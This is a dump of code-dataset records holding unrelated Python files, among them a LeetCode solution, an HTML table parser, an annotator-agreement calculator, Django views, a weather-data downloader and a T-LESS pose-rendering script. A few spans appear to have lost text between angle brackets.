command=zipplookup)\nzippButton.grid(row=0,column=1,stick=W+E+N+S)\n\n\n\n\n\nroot.mainloop()","sub_path":"air quality app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"476965378","text":"'''\nGiven two binary strings, return their sum (also a binary string).\n\nFor example,\na = \"11\"\nb = \"1\"\nReturn \"100\".\n'''\n\n\nclass Solution(object):\n def addBinary(self, a, b):\n \"\"\"\n :type a: str\n :type b: str\n :rtype: str\n \"\"\"\n result=[0]*(max(len(a),len(b))+1)\n if len(a) 1\n\n def isColspan(self):\n return self.colspan > 1\n\n\ndef parse(h) -> [[]]:\n doc = BeautifulSoup(h, 'html.parser')\n\n trs = doc.select('tr')\n\n m = []\n\n for row, tr in enumerate(trs): # collect Node, rowspan node, colspan node\n it = []\n ts = tr.find_all(['th', 'td'])\n for col, tx in enumerate(ts):\n element = Element(row, col, tx.text.strip())\n if tx.has_attr('rowspan'):\n element.rowspan = int(tx['rowspan'])\n if tx.has_attr('colspan'):\n element.colspan = int(tx['colspan'])\n it.append(element)\n m.append(it)\n\n def solveColspan(ele):\n row, col, text, rowspan, colspan = ele.row, ele.col, ele.text, ele.rowspan, ele.colspan\n m[row].insert(col + 1, Element(row, col, text, rowspan, colspan - 1))\n for column in range(col + 1, len(m[row])):\n m[row][column].col += 1\n\n def solveRowspan(ele):\n row, col, text, rowspan, colspan = ele.row, ele.col, ele.text, ele.rowspan, ele.colspan\n offset = row + 1\n m[offset].insert(col, Element(offset, col, text, rowspan - 1, 1))\n for column in range(col + 1, len(m[offset])):\n m[offset][column].col += 1\n\n for row in m:\n for ele in row:\n if ele.isColspan():\n solveColspan(ele)\n if ele.isRowspan():\n solveRowspan(ele)\n return m\n\n\ndef prettyPrint(m):\n for i in m:\n it = [f'{len(i)}']\n for index, j in enumerate(i):\n if j.text != '':\n it.append(f'{index:2} {j.text[:4]:4}')\n print(' --- '.join(it))\n","sub_path":"html/lhtml/table/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"335616977","text":"# coding=utf-8\n\n\"\"\"\nA script calculating the observed degrees\n\"\"\"\n\nimport argparse\nimport collections\nimport copy\nimport itertools\nimport os\nimport re\n\nimport six\n\nimport my_library.common\n\n# 作者\n__author__ = 'Masaya SUZUKI'\n\n# バージョン\n__version__ = '1.0'\n\n\nclass ObservedDegreeCalculater:\n \"\"\"\n Calcurate the observed degrees\n \"\"\"\n\n def __init__(self, kn):\n # 一致率\n # result[0]:見かけ上の一致率\n # result[1]:カッパ係数による一致率\n # result[ ]['num']:サンプル数\n # result[ ]['degree']:一致率\n self.result = list()\n\n for _ in six.moves.xrange(2):\n tmp = collections.OrderedDict()\n tmp['num'] = 0\n tmp['degree'] = 0.0\n self.result.append(tmp)\n\n self.kind = kn\n\n def get_result(self):\n \"\"\"\n Get the observed degrees\n :return: observed degrees\n \"\"\"\n\n r = list()\n\n for j in six.moves.xrange(2):\n if 'result' not in self.result[j]:\n try:\n self.result[j]['result'] = self.result[j]['degree']\n self.result[j]['result'] /= self.result[j]['num']\n except ZeroDivisionError:\n self.result[j]['result'] = ''\n\n r.append(self.result[j]['result'])\n\n return r\n\n def output(self, fn):\n \"\"\"\n Output the observed degrees\n :param fn: file name\n \"\"\"\n\n result = [fn, self.kind]\n result += [str(j) for j in self.get_result()]\n my_library.common.my_print(','.join(result))\n\n def calculate(self, path):\n \"\"\"\n Calcurate the observed degrees\n :param path: path of compare files(2 elements)\n \"\"\"\n\n # pathが2つの要素からなるリストでないならば、例外を返す\n if len(path) != 2:\n raise Exception('Path must have 2 elements')\n\n # タグ抽出用正規表現\n # tag_pattern[0]:全てのタグ\n # tag_pattern[1]:タグ名(開始タグ)\n # tag_pattern[2]:タグ名(終了タグ)\n tag_pattern = [re.compile(r'<.*?>'),\n re.compile(r'<([^/].*?)>'),\n re.compile(r'')]\n\n # タグごとのフラグ(ひな形)\n # そのタグがある:『1』\n # そのタグがない:空文字列\n kind_tag = collections.OrderedDict()\n\n # kind_tagを初期化\n for t in ['ORGANIZATION', 'PERSON', 'LOCATION', 'ARTIFACT',\n 'DATE', 'TIME', 'MONEY', 'PERCENT', 'OPTIONAL', 'NONE']:\n kind_tag[t] = ''\n\n # データリスト\n # data[x][0]:データ1x行目の文字列\n # data[x][1]:データ2x行目の文字列\n data = my_library.common.make_data(path, True)\n\n # 一致率算出用テーブル\n observed_table = collections.OrderedDict()\n\n # 一致率算出用テーブルを初期化\n for k in six.iterkeys(kind_tag):\n observed_table[k] = collections.OrderedDict()\n for j in six.iterkeys(kind_tag):\n observed_table[k][j] = 0\n\n # 処理中の行\n row = 0\n\n # タグの解析を行う(dataのサイズは変化することがあるため、for文ではなくwhile文を使用)\n while row < len(data):\n # 処理中の位置\n # m[0]:データ1の処理中の位置\n # m[1]:データ2の処理中の位置\n m = [0 for _ in six.moves.xrange(len(data[row]))]\n\n # タグ解析バッファ\n # buf[0]:データ1用バッファ\n # buf[1]:データ2用バッファ\n buf = list()\n\n for _ in six.moves.xrange(len(data[row])):\n buf.append(my_library.common.MyBuffer())\n\n # 解析フラグ\n # is_analysis[0]:データ1を解析中かどうか\n # is_analysis[1]:データ2を解析中かどうか\n is_analysis = [False for _ in six.moves.xrange(len(data[row]))]\n\n # タグ抜き出しの検査用クラス\n d = my_library.common.Inspecter(list(data[row]))\n\n # dataとdの見ている位置のギャップ\n # gap[0]:データ1\n # gap[1]:データ2\n gap = [0 for _ in six.moves.xrange(len(data[row]))]\n\n # 処理しているタグの名前\n # tag_name[0]:正解データのタグの名前\n # tag_name[1]:比較データのタグの名前\n tag_name = ['' for _ in six.moves.xrange(len(data[row]))]\n\n # 解析が完了するまで繰り返す\n while my_library.common.is_incomplete_analysis(m, data[row]):\n # タグ処理フラグ\n is_tag_process = False\n\n # データ中のタグを読み込む\n for j in six.moves.xrange(len(data[row])):\n # 現在見ているデータでタグを見つけたとき\n if m[j] < len(data[row][j]) and data[row][j][m[j]] == '<':\n # タグ処理フラグを立てる\n if not is_tag_process:\n is_tag_process = True\n\n # タグをバッファに挿入\n try:\n my_library.common.read_tag(m, j, data[row], buf)\n except Exception:\n raise my_library.common.TagError(data[row],\n path, row)\n\n if is_analysis[j]: # 解析フラグが立っているならば、フラグを下ろす\n # 終了タグのタグ名\n end_tag = tag_pattern[2].findall(buf[j].buf)\n\n # 終了タグが開始タグと対になったものでないか、正しい形式でないならば、例外を投げる\n if len(end_tag) < 1 or end_tag[-1] != tag_name[j]:\n raise my_library.common.TagError(data[row],\n path, row)\n\n is_analysis[j] = False\n else: # 解析フラグが立っていないならば、そのデータのタグとしてカウントして、フラグを立てる\n start_tag = tag_pattern[1].findall(buf[j].buf)\n\n if len(start_tag) < 1:\n raise my_library.common.TagError(data[row],\n path, row)\n else:\n tag_name[j] = start_tag[-1]\n\n is_analysis[j] = True\n\n # 以下の条件を満たすならば、次の文字を見る\n # * 次のタグが検出されない\n # * 他のデータの見ている文字がまだバッファに挿入されていない\n if m[j] + 1 < len(data[row][j]):\n if data[row][j][m[j] + 1] != '<' and not buf[-j + 1].is_read(m[-j + 1]):\n m[j] += 1\n\n is_watch_before = False\n\n # 以下の条件を満たすならば、バッファに挿入されていない方のデータの一つ前の文字を見る\n # * 見ているデータの見ている文字がまだバッファに挿入されていない\n # * 『>』を見ているデータがある\n for j in six.moves.xrange(len(data[row])):\n if not buf[j].is_read(m[j]):\n for i in six.moves.xrange(len(data[row])):\n if m[i] < len(data[row][i]) and data[row][i][m[i]] == '>':\n is_watch_before = True\n break\n\n if is_watch_before:\n m[j] -= 1\n break\n\n # 以下の条件を満たすならば、それぞれのバッファに今見ている文字を挿入\n # * いずれかのデータが解析中である\n # * いずれのデータも『>』を見ていない\n if True in is_analysis:\n is_insert = True\n\n for i in six.moves.xrange(len(data[row])):\n if len(data[row][i]) <= m[i] or data[row][i][m[i]] == '>':\n is_insert = False\n break\n\n if is_insert:\n for j in six.moves.xrange(len(data[row])):\n try:\n buf[j].append(m[j], data[row][j][m[j]])\n except Exception:\n raise my_library.common.TagError(data[row],\n path, row)\n\n # この時点での処理中の位置\n # n[0]:データ1の処理中の位置\n # n[1]:データ2の処理中の位置\n n = copy.deepcopy(m)\n\n # 次の文字を見る\n for j in six.moves.xrange(len(data[row])):\n for i in six.moves.xrange(len(data[row])):\n if is_analysis[j] or not is_analysis[-j + 1] \\\n or (n[i] + 1 < len(data[row][i]) and data[row][i][n[i] + 1] != '<'):\n m[j] += 1\n break\n\n # 解析途中で行が終わっているとき\n if my_library.common.is_end_line(data[row], is_analysis, m):\n for j in six.moves.xrange(len(data[row])):\n # 処理中の位置がデータの範囲内にとどまっているならば、次の文字を見る\n if m[j] < len(data[row][j]):\n m[j] += 1\n\n # 次の行を結合させる\n ps = '{Line Break}' + data[row + 1][j]\n d.append(j, ps)\n data[row][j] += ps\n\n # 次の行を削除する\n del data[row + 1]\n\n # タグ処理を行い、両方のデータの解析が終了したとき\n if is_tag_process and True not in is_analysis:\n # タグ抜き出し検査用クラスからバッファの内容を除去\n try:\n d.inspect_tag(data[row], m, gap, buf)\n except Exception:\n raise my_library.common.TagError(data[row], path, row)\n\n # バッファに入っているタグを『1』にする\n tags = list()\n for j in six.moves.xrange(len(data[row])):\n tags.append(kind_tag.copy())\n for t in tag_pattern[1].findall(buf[j].buf):\n tags[j][t] = str(1)\n # タグがまったく付いていないとき、タグ『NONE』を『1』にする\n if str(1) not in six.itervalues(tags[j]):\n tags[j]['NONE'] = str(1)\n\n # 一致率算出用テーブルの該当箇所に1を加算\n for k1, v1 in six.iteritems(tags[0]):\n for k2, v2 in six.iteritems(tags[1]):\n if v1 == v2 == str(1):\n observed_table[k1][k2] += 1\n\n # バッファを初期化\n for j in six.moves.xrange(len(data[row])):\n buf[j] = my_library.common.MyBuffer()\n\n # 取り出した行の文字列から、タグが正常に抜き出せていないならば、例外を投げる(タグ抜き出し検査用処理)\n for i in six.moves.xrange(len(data[row])):\n if tag_pattern[0].search(d.get(i)) or d.get(0) != d.get(i):\n raise my_library.common.TagError(data[row], path, row)\n\n # 次の行を見る\n row += 1\n\n # 一致率を算出\n for k in six.moves.xrange(2):\n # 項目数の合計\n total = 0.0\n\n # 見かけ上一致した項目数\n diagonal = 0.0\n\n # 偶然一致した項目数\n chance = 0.0\n\n # キーをセット\n if isinstance(observed_table, list):\n keys = range(len(observed_table))\n else:\n keys = observed_table.keys()\n\n # 一致率を算出するのに必要な値を算出\n for x in keys:\n diagonal += observed_table[x][x]\n subtotals = [0.0, 0.0]\n for y in keys:\n total += observed_table[x][y]\n if k == 1:\n subtotals[0] += observed_table[x][y]\n subtotals[1] += observed_table[y][x]\n\n chance += subtotals[0] * subtotals[1]\n\n try:\n degree = total * diagonal - chance\n degree /= total ** 2 - chance\n degree *= 100\n self.result[k]['degree'] += degree\n self.result[k]['num'] += 1\n except ZeroDivisionError:\n pass\n\n return self\n\n\ndef main():\n \"\"\"\n main function\n \"\"\"\n # コマンドライン引数を解析\n parser = argparse.ArgumentParser(description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('data', help='directory of data',\n action=my_library.common.PathAction)\n parser.add_argument('-v', '--version', action='version',\n version='%(prog)s {0}'.format(__version__))\n args = parser.parse_args()\n\n # CSVのヘッダー\n ac = ['', '']\n header = ['File', 'Kind',\n 'Observed degree of agreement', 'Kappa coefficient']\n\n # CSVのヘッダー(1行目)を出力\n my_library.common.my_print(','.join(header))\n\n header = copy.deepcopy(ac) + ['%' for _ in six.moves.xrange(2)]\n\n # CSVのヘッダー(2行目)を出力\n my_library.common.my_print(','.join(header))\n\n # ファイルリスト\n # files[x][y]:ファイルxの種別yの人のリスト\n files = collections.OrderedDict()\n\n # 実際のディレクトリ構造をファイルリストに格納\n for person_name in os.listdir(args.data):\n for kind_name in os.listdir(os.path.join(args.data, person_name)):\n # 『Micro Average.xml.ne』が存在するかどうか\n is_having_micro_average = False\n\n # ファイルリスト(最終的に配列となる)\n file_names = set()\n\n for s in os.listdir(os.path.join(args.data, person_name, kind_name, 'tag')):\n file_names.add(s.split('.')[0])\n\n # 『Micro Average.xml.ne』が存在するならば、配列の最後に移動させる\n if 'Micro Average' in file_names:\n is_having_micro_average = True\n file_names.remove('Micro Average')\n\n file_names = sorted(file_names)\n\n if is_having_micro_average:\n file_names.append('Micro Average')\n\n for file_name in file_names:\n if not re.match(r'.*~', file_name):\n if file_name not in files:\n files[file_name] = dict()\n\n if kind_name not in files[file_name]:\n files[file_name][kind_name] = list()\n\n files[file_name][kind_name].append(person_name)\n\n calcurater = collections.OrderedDict()\n\n # 一致率を算出\n for file_name, file_element in six.iteritems(files):\n if file_name == 'Micro Average':\n my_library.common.my_print('')\n\n # 同じ種別同士の一致率の平均を算出\n for kind_name, kind in sorted(six.iteritems(file_element)):\n if 1 < len(kind):\n if kind_name not in calcurater:\n calcurater[kind_name] = dict()\n\n calcurater[kind_name][file_name] = ObservedDegreeCalculater(\n kind_name)\n\n # ある種別の中から、2人を選ぶ全ての組み合わせについて、一致率を算出\n for people in itertools.combinations(kind, 2):\n paths = list()\n\n for person_name in people:\n paths.append(os.path.join(args.data, person_name, kind_name, 'tag',\n os.extsep.join([file_name, 'xml', 'ne'])))\n\n calcurater[kind_name][file_name].calculate(paths)\n\n # 一致率を出力\n calcurater[kind_name][file_name].output(file_name)\n\n # 異なる種別間の一致率の平均を算出\n kind_name = ' & '.join(sorted(six.iterkeys(file_element)))\n\n if kind_name not in calcurater:\n calcurater[kind_name] = dict()\n\n calcurater[kind_name][file_name] = ObservedDegreeCalculater(kind_name)\n\n # あるファイルの中から、2つの種別を選ぶ全ての組み合わせについて、一致率を算出\n for kind in itertools.combinations(six.iteritems(file_element), 2):\n for product in itertools.product(*[[{kn: person} for person in v] for kn, v in sorted(kind)]):\n calcurater[kind_name][file_name] \\\n .calculate([args.data + person + '/' + kn + '/tag/' + file_name + '.xml.ne'\n for f in product for kn, person in six.iteritems(f)])\n\n # 一致率を出力\n calcurater[kind_name][file_name].output(file_name)\n\n # 種別ごとのマクロ平均を算出\n my_library.common.my_print('')\n for kind_name, kind_element in six.iteritems(calcurater):\n result = ['Macro Average', kind_name]\n\n for i in six.moves.xrange(2):\n sum_rate = 0\n\n j = 0\n for file_name, cal in six.iteritems(kind_element):\n if file_name != 'Micro Average' and not isinstance(cal.get_result()[i], str):\n sum_rate += cal.get_result()[i]\n j += 1\n\n result.append(str(sum_rate / j))\n\n my_library.common.my_print(','.join(result))\n\n\n# メイン処理\nif __name__ == '__main__':\n main()\n","sub_path":"observed_degree_calculation.py","file_name":"observed_degree_calculation.py","file_ext":"py","file_size_in_byte":18759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"458157125","text":"import Sounds\n\n\ndef startup():\n scale_choice()\n\ndef scale_choice():\n choice = input('What scale would you like, c major, e minor, d major or a minor?')\n if choice == 'c major':\n Sounds.c_major()\n elif choice == 'e minor':\n Sounds.e_minor()\n elif choice == 'd major':\n Sounds.d_major()\n elif choice == 'a minor':\n Sounds.a_minor()\n elif choice == 'harry potter':\n Sounds.harry_potter()\n startup()\n \nscale_choice()\n","sub_path":"Eddies-Code/Python/MiniProjects/Scales.py","file_name":"Scales.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"114309344","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndata = np.genfromtxt('magnetisation.txt')\nsus = np.genfromtxt('susceptibility.txt')\ntemp = np.genfromtxt('temperature.txt')\nen = np.genfromtxt('energy.txt')\nc = np.genfromtxt('heat_cap.txt')\nmagnetisation = [np.average(data[x]) for x in range(len(data))]\nenergy = [np.average(en[x]) for x in range(len(en))]\n\nplt.plot(temp, magnetisation)\nplt.title(\"Magnetisation vs Temperature\")\nplt.ylabel(\"Magnetisation\")\nplt.xlabel(\"Temperature\")\nplt.show()\nplt.plot(temp, sus)\nplt.title(\"Susceptibility vs Temperature\")\nplt.ylabel(\"Susceptibility\")\nplt.xlabel(\"Temperature\")\nplt.show()\nplt.plot(temp, energy)\nplt.title(\"Energy vs Temperature\")\nplt.ylabel(\"Energy\")\nplt.xlabel(\"Temperature\")\nplt.show()\nplt.plot(temp, c)\nplt.title(\"Heat Capacity vs Temperature\")\nplt.ylabel(\"Heat Capacity\")\nplt.xlabel(\"Temperature\")\nplt.show()\n","sub_path":"Cython tests/cor_data/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"623738981","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('home', '0015_auto_20160222_2029'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='store',\n name='phone',\n field=models.CharField(validators=[django.core.validators.RegexValidator(code='invalid_phone', regex='^[0-9]+(-[0-9]+)+$', message='Please enter a valid phone number')], max_length=15),\n ),\n ]\n","sub_path":"home/migrations/0016_auto_20160223_1058.py","file_name":"0016_auto_20160223_1058.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"591599297","text":"import requests\r\nimport datetime\r\nCityList=[\"Tokyo\",\"Yokohama\",\"Kawasaki,Kanagawa\",\"Osaka-Shi\",\"Kyoto\",\"Kobe\",\"Sapporo\",\"Sendai-Shi\",\"Fukuoka-Shi\",\"Nagoya-Shi\", \"Hiroshima-Shi\",\"Kanazawa-Shi\",\"Kochi-Shi\"]\r\n#Tokyo: Tokyo, Yokohama, Kawasaki\r\n#Kansai: Osaka-Shi, Kyoto, Kobe\r\n#Hokkaido: Sapporo\r\n#Tohoku: Sendai-Shi\r\n#Kyushu: Fukuoka-Shi\r\n#Chubu: Nagoya\r\n#Chugoku: Hiroshima-Shi\r\n#Hokuriku: Kanazawa-Shi\r\n#Shikoku: Kochi-Shi\r\n\r\nToday=datetime.date.today()\r\nOneDay=datetime.timedelta(days=1)\r\nfor City in CityList:\r\n for x in range(1,10):\r\n URL = \"http://api.worldweatheronline.com/free/v2/past-weather.ashx?q=\"+City+\",Japan&format=xml&date=\"+str(Today-x*OneDay)+\"&enddate=\"+str(Today-x*OneDay)+\"&tp=1&key=KEYNUMBER\"\r\n print(URL)\r\n R= requests.get(URL)\r\n if (City==\"Kawasaki,Kanagawa\"):\r\n City=\"Kawasaki\"\r\n if (City==\"Osaka-Shi\"):\r\n City=\"Osaka\"\r\n if (City==\"Sendai-Shi\"):\r\n City=\"Sendai\"\r\n if (City==\"Fukuoka-Shi\"):\r\n City=\"Fukuoka\"\r\n if (City==\"Hiroshima-Shi\"):\r\n City=\"Hiroshima\"\r\n if (City==\"Kanazawa-Shi\"):\r\n City=\"Kanazawa\"\r\n if (City==\"Kochi-Shi\"):\r\n City=\"Kochi\"\r\n if (City==\"Nagoya-Shi\"):\r\n City=\"Nagoya\"\r\n Q=open(\"C:\\\\users\\\\mteranishi\\\\Documents\\\\Japan Weather\\\\Past Weather Data\\\\\" + City + \" \" + str(Today-x*OneDay) + \" Past.txt\", \"w+\")\r\n Q.write(R.text)\r\n Q.close()\r\n\r\n\r\n \r\n","sub_path":"Japan Weather/WeatherPastDataJapan.py","file_name":"WeatherPastDataJapan.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"651328480","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 1 15:30:18 2021\r\n\r\n@author: d19fd\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\nashu = cv2.imread('ashu-color.jpg', 0)\r\ncv2.imshow('ashu', ashu)\r\n\r\nr, c = ashu.shape\r\n\r\nx = np.zeros((r,c,8), dtype=np.uint8)\r\nfor i in range(8):\r\n x[:,:,i] = 2**i\r\n \r\nr = np.zeros((r,c,8), dtype=np.uint8)\r\nfor i in range(8):\r\n r[:,:,i] = cv2.bitwise_and(ashu, x[:,:,i])\r\n mask = r[:,:,i] > 0\r\n r[mask] = 255\r\n cv2.imshow(str(i), r[:,:,i])\r\n\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()\r\n","sub_path":"ex3-13.py","file_name":"ex3-13.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"572161583","text":"\"\"\"\nID: ca6fqb1\nLANG: PYTHON2\nTASK: combo\n\"\"\"\nfin = open(\"combo.in\",\"r\")\nN = int(fin.readline())\nfarcom = list(map(int,fin.readline().strip().split(\" \")))\nmastercom = list(map(int,fin.readline().strip().split(\" \")))\nset = set()\ndef funca(lis,time1=1,time2=1,time3=1):\n set.add(str((lis[0]+5-time1)%(N)) +\" \"+ str((lis[1]+5-time2)%(N))+\" \"+ str((lis[2]+5-time3)%(N)))\n if time1 == 5 and time2 == 5 and time3 == 5:\n return\n elif time2 == 5 and time3 == 5:\n funca(lis,time1+1)\n elif time3==5:\n funca(lis,time1,time2+1)\n else:\n funca(lis,time1,time2,time3+1)\nfunca(farcom)\nfunca(mastercom)\nwith open(\"combo.out\", \"w\") as fout:\n fout.write(str(len(set))+\"\\n\")","sub_path":"combo/combo.py","file_name":"combo.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"205008065","text":"from django.shortcuts import render,redirect\nfrom .models import Persona\nfrom .forms import PersonaForm\n\n\ndef index(request, template_name='odontologia/index.html'):\n return render(request, template_name)\n\ndef personas_listar(request, template_name='odontologia/personas.html'):\n personas = Persona.objects.all()\n dato_personas = {\"personas\": personas}\n return render(request, template_name, dato_personas)\n\ndef nueva_persona(request, template_name='odontologia/persona_form.html'):\n if request.method=='POST':\n form = PersonaForm(request.POST)\n if form.is_valid():\n form.save(commit=True)\n return redirect('personas')\n else:\n print(form.errors)\n else:\n form = PersonaForm()\n dato = {\"form\":form}\n return render(request, template_name, dato)\n\ndef modificar_persona(request, pk, template_name='odontologia/persona_form.html'):\n persona = Persona.objects.get(num_doc=pk)\n form = PersonaForm(request.POST or None, instance=persona)\n if form.is_valid():\n form.save(commit=True)\n return redirect('personas')\n else:\n print(form.errors)\n datos = {'form':form}\n return render(request, template_name, datos)\n\ndef eliminar_persona(request, pk, template_name='odontologia/persona_confirmar_eliminacion.html'):\n persona = Persona.objects.get(num_doc=pk)\n if request.method == 'POST':\n persona.delete()\n return redirect('personas')\n else:\n dato = {'form':persona}\n return render(request, template_name, dato)\n\n\n","sub_path":"odontologia/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"555280878","text":"# Author: Tomas Hodan (hodantom@cmp.felk.cvut.cz)\n# Center for Machine Perception, Czech Technical University in Prague\n\n# A script to render 3D object models into the test images. The models are\n# rendered at the ground truth 6D poses that are provided with the test images.\n# The visualizations are saved into the folder specified by \"output_dir\".\n\nfrom pytless import inout, renderer, misc\nimport os\nimport numpy as np\nimport scipy.misc\nimport matplotlib.pyplot as plt\nimport click\nimport yaml\n\n\n@click.group()\n@click.option('--config', default='config.yml')\n@click.pass_context\ndef main(ctx, config):\n file = open(config)\n config = yaml.safe_load(file)\n file.close()\n ctx.obj['config'] = config\n\n\n@main.command(\n help='Test generate poses rendering over original frames.')\n@click.pass_context\ndef test(ctx):\n config = ctx.obj['config']\n device = config['device']\n model_type = config['model_type']\n im_step = int(config['image_step'])\n\n data_path = config['dataset_path']\n output_dir = config['output_path']\n # Paths to the elements of the T-LESS dataset\n model_path_mask = os.path.join(data_path, 'models_' + model_type, 'obj_{:02d}.ply')\n scene_info_path_mask = os.path.join(data_path, 'test_{}', '{:02d}', 'info.yml')\n scene_gt_path_mask = os.path.join(data_path, 'test_{}', '{:02d}', 'gt.yml')\n rgb_path_mask = os.path.join(data_path, 'test_{}', '{:02d}', 'rgb', '{:04d}.{}')\n depth_path_mask = os.path.join(data_path, 'test_{}', '{:02d}', 'depth', '{:04d}.png')\n rgb_ext = {'mitsuba': 'png', 'primesense': 'png', 'kinect': 'png', 'canon': 'jpg'}\n obj_colors_path = os.path.join('data', 'obj_rgb.txt')\n vis_rgb_path_mask = os.path.join(output_dir, '{:02d}_{}_{}_{:04d}_rgb.png')\n vis_depth_path_mask = os.path.join(output_dir, '{:02d}_{}_{}_{:04d}_depth_diff.png')\n\n scene_ids = [int(x) for x in os.listdir(os.path.join(data_path, \"test_{}\".format(device)))]\n\n misc.ensure_dir(output_dir)\n obj_colors = inout.load_colors(obj_colors_path)\n\n plt.ioff() # Turn interactive plotting off\n\n for scene_id in scene_ids:\n\n # Load info about the test images (including camera parameters etc.)\n scene_info_path = scene_info_path_mask.format(device, scene_id)\n scene_info = inout.load_scene_info(scene_info_path)\n\n scene_gt_path = scene_gt_path_mask.format(device, scene_id)\n gts = inout.load_scene_gt(scene_gt_path)\n\n # Load models of objects present in the scene\n scene_obj_ids = set()\n for gt in gts[0]:\n scene_obj_ids.add(gt['obj_id'])\n models = {}\n for scene_obj_id in scene_obj_ids:\n model_path = model_path_mask.format(scene_obj_id)\n models[scene_obj_id] = inout.load_ply(model_path)\n\n for im_id, im_info in scene_info.items():\n if im_id % im_step != 0:\n continue\n print('scene: ' + str(scene_id) + ', device: ' + device + ', im_id: ' + str(im_id))\n\n # Get intrinsic camera parameters\n K = im_info['cam_K']\n\n # Visualization #1\n # -----------------------------------------------------------------------\n # Load RGB image\n rgb_path = rgb_path_mask.format(device, scene_id, im_id, rgb_ext[device])\n rgb = scipy.misc.imread(rgb_path)\n\n\n im_size = (rgb.shape[1], rgb.shape[0])\n vis_rgb = np.zeros(rgb.shape, np.float)\n for gt in gts[im_id]:\n model = models[gt['obj_id']]\n R = gt['cam_R_m2c']\n t = gt['cam_t_m2c']\n surf_color = obj_colors[gt['obj_id'] - 1]\n\n ren_rgb = renderer.render(model, im_size, K, R, t,\n surf_color=surf_color, mode='rgb')\n\n # Draw the bounding box of the object\n ren_rgb = misc.draw_rect(ren_rgb, gt['obj_bb'])\n\n #import cv2\n #cv2.imshow(\"test\", ren_rgb)\n #cv2.waitKey()\n\n vis_rgb += 0.7 * ren_rgb.astype(np.float)\n\n # Save the visualization\n vis_rgb = 0.6 * vis_rgb + 0.4 * rgb\n vis_rgb[vis_rgb > 255] = 255\n vis_rgb_path = vis_rgb_path_mask.format(scene_id, device, model_type, im_id)\n scipy.misc.imsave(vis_rgb_path, vis_rgb.astype(np.uint8))\n\n # Visualization #2\n # -----------------------------------------------------------------------\n if device != 'canon':\n # Load depth image\n depth_path = depth_path_mask.format(device, scene_id, im_id, rgb_ext[device])\n depth = scipy.misc.imread(depth_path) # Unit: 0.1 mm\n depth = depth.astype(np.float) * 0.1 # Convert to mm\n\n # Render the objects at the ground truth poses\n im_size = (depth.shape[1], depth.shape[0])\n ren_depth = np.zeros(depth.shape, np.float)\n for gt in gts[im_id]:\n model = models[gt['obj_id']]\n R = gt['cam_R_m2c']\n t = gt['cam_t_m2c']\n\n # Render the current object\n ren_depth_obj = renderer.render(model, im_size, K, R, t, mode='depth')\n\n # Add to the final depth map only the parts of the surface that\n # are closer than the surfaces rendered before\n visible_mask = np.logical_or(ren_depth == 0, ren_depth_obj < ren_depth)\n mask = np.logical_and(ren_depth_obj != 0, visible_mask)\n ren_depth[mask] = ren_depth_obj[mask].astype(np.float)\n\n # Calculate the depth difference at pixels where both depth maps\n # are valid\n valid_mask = (depth > 0) * (ren_depth > 0)\n depth_diff = valid_mask * (depth - ren_depth.astype(np.float))\n\n # Save the visualization\n vis_depth_path = vis_depth_path_mask.format(scene_id, device,\n model_type, im_id)\n plt.matshow(depth_diff)\n plt.title('captured - rendered depth [mm]')\n plt.colorbar()\n plt.savefig(vis_depth_path, pad=0)\n plt.close()\n\n\nif __name__ == '__main__':\n main(obj={})\n","sub_path":"check_poses_test_imgs.py","file_name":"check_poses_test_imgs.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"287302520","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n'''\nPj_grp和Pj_grp_line\n'''\n\nfrom sqlalchemy import Column,Integer,BigInteger,String,ForeignKey\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase=declarative_base()\n\n\n#一对多关系\nclass PjGrp(Base):\n __tablename__='Pj_grp'\n PjGrpId=Column('Pj_grp_id',integer,primary_key=True)\n PjGrpNo=Column('Pj_grp_no',string)\n Status=Column('Status',Integer)\n Line=relationship('PjGrpLine')\n\nclass PjGrpLine(Base):\n __tablename__='Pj_grp_line'\n Id=Column('Id',Integer,primary_key=True)\n PjGrpId=Column('Pj_grp_id',Integer,ForeignKey('Pj_grp.Pj_grp_id'))\n PjId=Column('Pj_id',BigInteger)\n Status=Column('Status',Integer)","sub_path":"updateOrderStatus/pjGroup.py","file_name":"pjGroup.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"173707887","text":"from collections import namedtuple\n\nimport gym\nimport 